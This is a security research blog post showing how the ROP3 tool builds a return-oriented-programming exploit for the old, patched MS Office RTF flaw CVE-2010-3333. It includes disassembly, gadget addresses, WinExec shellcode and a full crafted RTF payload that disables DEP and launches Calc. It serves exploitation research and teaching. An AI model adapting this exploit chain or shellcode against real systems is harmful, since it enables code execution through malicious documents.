Reading Time: 8 minutes

TL;DR We show how to use the ROP3 tool to build a user-defined Return-Oriented-Programming (ROP) exploit for a(n old, but gold!) Microsoft Office vulnerability. This tool was presented as part of our contribution in WOOT’21 “Evaluation of the Executional Power in Windows using Return Oriented Programming” (you can read more about this work in this other post). In particular, we focus on CVE-2010-3333, a stack-based buffer overflow in Microsoft Office that allows attackers to execute arbitrary code through a crafted RTF file. Our exploit relies on ROP to first disable NX (also called W^X) protection at the Windows process level and then pop up a Calc process (yeah, as simple as it sounds, sorry!).

Introduction

As explained in this previous post, the ROP3 tool is developed in Python and relies on the Capstone disassembly framework to find gadgets, operations, and ROP chains.

ROP3 natively supports the virtual operations that make up ROPLANG, which is a virtual language that we created to represent a ROP chain in an abstract way. In particular, ROPLANG defines a set of operations (arithmetic, assignment, dereferencing, logical, and branching/unbranching operations) that are then mapped to specific ROP gadgets.

ROP3 version 1.0 has been recently released, incorporating a bunch of updates:

  • Notification of side-effects (e.g., if gadget alters esp). Now it takes them into account when building ropchains.
  • Removing duplicates now shows how many of the same gadgets were found in different addresses.
  • New badchar option to remove certain bytes from gadget addresses.

In what follows, we will show how the ROP3 tool can be used to automatically generate a user-defined ROP chain using a real vulnerability as a case study.

CVE-2010-3333: an Old, but Gold MS Office Vulnerability!

As a case study, we consider the Microsoft Office vulnerability CVE-2010-3333, which affected Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, and Office for Mac 2011. This vulnerability was disclosed in September 2010 and later patched in MS10-087 (released in November 09, 2010). Despite this timely response from Microsoft, this vulnerability was used to great effect in November 2012 to attack NATO’s Special Operations Headquarters, as well as a critical infrastructure company. These attacks were conducted via spear phishing attaching a specially crafted Rich Text Format (RFT) document exploiting the vulnerability, allowing the attackers to execute arbitrary code through a stack-based buffer overflow. You can read this document to learn more about the different forms of this exploit and how the exploit files have evolved.

The Rich Text Format (RTF) is a file format developed by Microsoft to facilitate the exchange of text files between different word processors. An RTF file starts with the frtf1 tag and is made up of plain text, control words, control symbols, and groups within braces. The CVE-2010-3333 is exploited through the pFragments property, which is an optional property of geometry shapes to describe multiple paths and parts within a shape. This property is defined in the RTF specification as:

{\shp{\sp{\sn pFragments}{\sv value}}}

The value type of pFragments is an array value. In the RTF file format, arrays are formatted as a sequence of numbers separated by semicolons. The first number indicates the size (in bytes) of each element in the array. Valid numbers are 2, 4, or 8, according to the RTF specification. When the element size is 8, each element is represented as a group of two numbers. The second number indicates the number of elements in the array.

As for the CVE-2010-3333 vulnerability, it is found in the file MSO.DLL, which is a component of the Microsoft Office suite. In this post, we focus on the file MSO.DLL version 11.0.5606 and MD5 251C11444F614DE5FA47ECF7275E7BF1, shipped with the Microsoft Office 2003 suite.

The code snippet responsible for parsing the pFragments and triggering the stack-based buffer overflow is located at 0x30f4cc5d:

0x30f4cc5d  push ebp
0x30f4cc5e  mov ebp, esp
0x30f4cc60  sub esp, 0x14
(...)
0x30f4cc93  call dword [eax + 0x1c] ;  calls to MSO.30e9eb62
0x30f4cc96  mov eax, dword [ebp + 0x14]
0x30f4cc99  push dword [ebp + 0x18]
0x30f4cc9c  mov edx, dword [ebp - 0x10]
0x30f4cc9f  neg eax
0x30f4cca1  sbb eax, eax
0x30f4cca3  lea ecx, [ebp - 8]
0x30f4cca6  and eax, ecx
0x30f4cca8  push eax
0x30f4cca9  push dword [ebp + 8]
0x30f4ccac  call 0x30f4cb1d
0x30f4ccb1  test al, al
0x30f4ccb3  je 0x30f4cd51
(...)  
0x30f4cd51  pop esi
0x30f4cd52  pop ebx
0x30f4cd53  pop edi
0x30f4cd54  leave
0x30f4cd55  ret 0x14

The first number of the pFragments value must be an invalid number according to the RTF specification (that is, different from 2, 4, or 8) to trigger the vulnerability. Line 5 calls the function 0x30e9eb62, which effectively produces the stack-based overflow vulnerability. This function is fully listed below:

0x30e9eb62  push edi
0x30e9eb63  mov edi, dword [esp + 0xc]
0x30e9eb67  test edi, edi
0x30e9eb69  je 0x30e9eb92
0x30e9eb6b  mov eax, dword [esp + 8]
0x30e9eb6f  mov ecx, dword [eax + 8] 
0x30e9eb72  and ecx, 0xffff
0x30e9eb78  push esi
0x30e9eb79  mov esi, ecx
0x30e9eb7b  imul esi, dword [esp + 0x14]
0x30e9eb80  add esi, dword [eax + 0x10]
0x30e9eb83  mov eax, ecx
0x30e9eb85  shr ecx, 2
0x30e9eb88  rep movsd es:[edi], dword ptr [esi]
0x30e9eb8a  mov ecx, eax
0x30e9eb8c  and ecx, 3
0x30e9eb8f  rep movsb es:[edi], byte ptr [esi]
0x30e9eb91  pop esi
0x30e9eb92  pop edi
0x30e9eb93  ret 0xc

The binary code of this function is very similar to a memcpy() inline function: it receives two parameters, the first is a pointer that points to the content of the pFragments value; while the second parameter is a buffer located on the stack. Those values are eventually loaded into the esi and edi registers, respectively (lines 2 and 9), and the buffer overflow finally occurs via the rep movsd instruction on line 14. Although the function shown above ends normally, an attacker can modify the return address of the called function using a specially crafted RTF file. That is, the hijacking of the control-flow occurs after the execution of the ret instruction.

Let us finally recall that the call instruction on line 15 of 0x30f4cc5d does some processing on the content of the pFragments value, so it must be executed without errors to successfully reach the end of the triggering function.

Using ROPLANG to Create our ROP Chain

As a victim model, we consider that the workstations are running the Windows 7 SP1 Professional 32-bit operating system and Microsoft Word 2003 version 11.5604.5606. In addition, enforced by the organization security policies, W^X protection (called Data Execution Prevention in Windows) is always on, regardless of whether or not applications are compiled with this defense in place.

Therefore, to successfully exploit this vulnerability, the attacker must first defeat the W^X protection. To do so, the attacker will build a ROP chain. The easiest way is to make use of the SetProcessDEPPolicy() API, a Windows API that changes the W^X policy of a running process. This function receives a flag value that indicates whether the W^X policy should be disabled or enabled for the current process. After disabling the W^X policy, the attacker can successfully bypass control-flow execution to the process stack. This means that the stack pointer register value (stored in esp) must be known beforehand. However, this knowledge is rare in practical scenarios, since stack addresses are generally randomized upon execution. To deal with this issue, the attacker can make use of the pushad instruction, which pushes the contents of the CPU general-purpose registers onto the stack in the following order: eax, ecx, edx, ebx, esp (original value), ebp, esi, and edi. After the execution of pushad, the esp value is modified accordingly.

Let us illustrate how pushad works with an example. Suppose the state of the CPU general-purpose registers is as follows, just before executing the pushad instruction:

registervalue
eax0x00000000
ecx0x11111111 
edx0x22222222 
ebx0x33333333 
esp0xCAFEBABE
ebp0x44444444
esi0x55555555
edi0x66666666
Values of CPU general-purpose registers (before the execution of pushad)

Once the pushad instruction is executed, the stack contains the following:

esp ->0x66666666
0x55555555 
0x44444444 
0xCAFEBABE
0x33333333 
0x22222222
0x11111111
0x00000000
Contents of the stack (after the execution of pushad)

As you can see, the stack pointer moves up (well, down, as the stack grows to lower memory addresses). Hence, once the pushad instruction is executed we can directly divert the control-flow of the program by setting the appropriate values in the CPU registers.

For the sake of simplicity, as an adversary model we assume that the attacker knows any WinAPI address of their interest, such as the address of the SetProcessDEPPolicy() function (for instance, through a memory leak from the victim’s workstation), as well as the base address of the MSO.DLL file at the time of exploitation.

In summary, the ROP chain will perform the following actions:

  1. Set the values of the CPU general-purpose registers appropriately, before executing pushad.
  2. Execute SetProcessDEPPolicy(), just after the execution of the pushad instruction.
  3. Divert the control-flow of the vulnerable program to the stack.

We can build our ROP chain to find the ROP gadgets that are available to set the appropriate values in the registers using ROPLANG:

First, we need to load the edi and esi registers with a NOP gadget. Note that the values of these registers will be the addresses to which the control-flow will be redirected after the execution of pushad. Hence, we will look for a nop() operation, as well as lc(edi) and lc(esi) to pull two values from the stack to the registers:

nop()
lc(edi)
lc(esi)

Note that the nop() operation is not native to ROPLANG. Fortunately, we can define it very easily using YAML syntax (in the rop3‘s gadgets/user_defined.yaml file):

nop:
  # ret
  - # each operations can be composed of several sets
    - mnemonic: ret

Next, we need to load the address of SetProcessDEPPolicy() in the ebp register. To do this, we just need a “load constant” operation on ebp:

lc(ebp)

We then need to load a zero value into the ebx register. Note that we can use zero bytes in our ROP chain with no problem, as this is a valid byte in this case. This value will in fact be the parameter of the call to SetProcessDEPPolicy() once the control flow reaches this API (see the contents of the stack above: once SetProcessDEPPolicy() begins its execution, the return address and the parameters are naturally pointed by the stack pointer):

lc(ebx)

The values of the other CPU registers do not matter. To finish, we need a pushad; ret ROP gadget to execute the pushad instruction and then achieve the successful exploitation as explained above. As before, this is not a native ROPLANG operation and hence we need to define our own operation in the user_defined.yaml file of ROP3. In particular, this gadget can be defined as:

pushad:
  - # just pushad
    - mnemonic: pushal

Note that the mnemonic is pushal, since the pushad instruction is defined with this mnemonic in Capstone, the disassembler on which ROP3 is based.

Stitching All Together…

Once that we have our ROP chain ready, we can run the ROP3 tool to search for the available gadgets. Apart from the ROP chain, we have chosen a depth value of 2 (to limit the ROP gadget size to just 2 bytes) and have avoided gadgets that end in the retf instruction. As the search space, we have used the own MSO.DLL file:

$ python3 rop3.py --binary ~/MSO.DLL --ropchain rop_chain.txt --depth 2 --noretf
================================================================================
Ropchain 1
================================================================================
nop()
        [MSO.DLL @ 0x30c92448]: ret (x33616)
lc(edi)
        [MSO.DLL @ 0x30cae25c]: pop edi ; ret (x179)
lc(esi)
        [MSO.DLL @ 0x30ca32fd]: pop esi ; ret (x4668)
lc(ebx)
        [MSO.DLL @ 0x30ca3654]: pop ebx ; ret (x1047)
lc(ebp)
        [MSO.DLL @ 0x30ca32d1]: pop ebp ; ret (x230)
pushad()
        [MSO.DLL @ 0x30ce03b5]: pushal ; ret (x14)

So, we were lucky this time! We have found enough gadgets in this file for each operation in our ROP chain. As a shellcode, we are going to use a simple shellcode that pops up a Calc application:

33C0       xor eax, eax
50         push eax
6863616C63 push 'calc'
8BC4       mov eax, esp
6A05       push SW_SHOW
50         push eax
BFFDE53377 mov edi, kernel32.WinExec
FFD7       call edi  

Now we can build our RTF file as follows (the text after the dash symbol is added to aid understanding, you will need to remove it!):

{\rtf1{\shp{\sp{\sn pFragments}{\sv 1;4;010
0020000014141414141414141414141414141414141414141 # padding
4824c930  # ret
0000000000000000000000000000000000000000
5ce2ca30  # pop edi; ret
4824c930  # ret
fd32ca30  # pop esi; ret
4824c930  # ret
5436ca30  # pop ebx; ret
00000000
d132ca30  # pop ebp; ret
2f602e77  # @SetProcessDEPPolicy()
b503ce30  # pushal; ret
33c0506863616c638bc46a0550bffde53377ffd7 # our shellcode :)
}}}}

Finally, we can just double click on the RTF file and…

Proof of Concept of a RTF file exploiting the CVE-2010-3333 vulnerability

Voilà! As you see, a new Calc process appears whose parent process is WINWORD. So, our exploit has been a success!


And… that’s all, folks! In this post, we have revisited our ROP3 tool and introduced how we can build a ROP chain using ROPLANG operations. Additionally, we have also shown how user-defined ROP gadgets can be added into ROPLANG operations to meet our exploitation goals. Recall that we are open to new ideas and collaborations to investigate offensive security, do not hesitate to contact us about it!